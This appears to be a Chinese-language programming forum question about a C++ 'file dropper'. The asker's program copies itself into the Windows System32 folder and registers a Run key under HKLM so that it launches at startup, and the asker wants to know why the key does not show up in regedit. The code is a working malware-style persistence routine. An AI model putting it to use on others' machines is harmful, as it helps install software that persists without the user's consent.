我尝试制作文件释放器并在启动时启动,但它确实启动了,但是当我使用 regedit 导航到所述键时,我看不到它?那是怎么回事?所有错误代码都返回 0.....
#include <iostream>
#include <windows.h>
#include <Shlwapi.h>
using namespace std;
string RegistryKeyName = "testdropper.exe";
int main()
{
std::string filename ="\\";
char system[MAX_PATH];
char pathtofile[MAX_PATH];
memset(system, 0, MAX_PATH);
memset(pathtofile, 0, MAX_PATH);
//GET MODULE HANDLE OF CALLING PROGRAM I.E SERVER.EXE'S HANDLE
HMODULE GetModH = GetModuleHandle(NULL);
cout << GetLastError();
//GET PATH OF exe
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
filename.append(PathFindFileNameA(pathtofile));
//GET SYSTEM DIRECTORY LIKE SYSTEM32
GetSystemDirectory(system,sizeof(system));
//APPEND MY FILENAME AFTER THE SYSTEMDIRECTORY
strcat(system, filename.c_str());
//COPY SERVER TO THE SYSTEM32 FOLDER
CopyFile(pathtofile,system,false);
//MAKE A REGISTRY KEY TO THE SYSTEM32FOLDER WITH SERVER.EXE TO RUN AT STARTUP
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, RegistryKeyName.c_str(),0,REG_SZ,(const BYTE*)system,sizeof(system));
RegCloseKey(hKey);
return 0;
}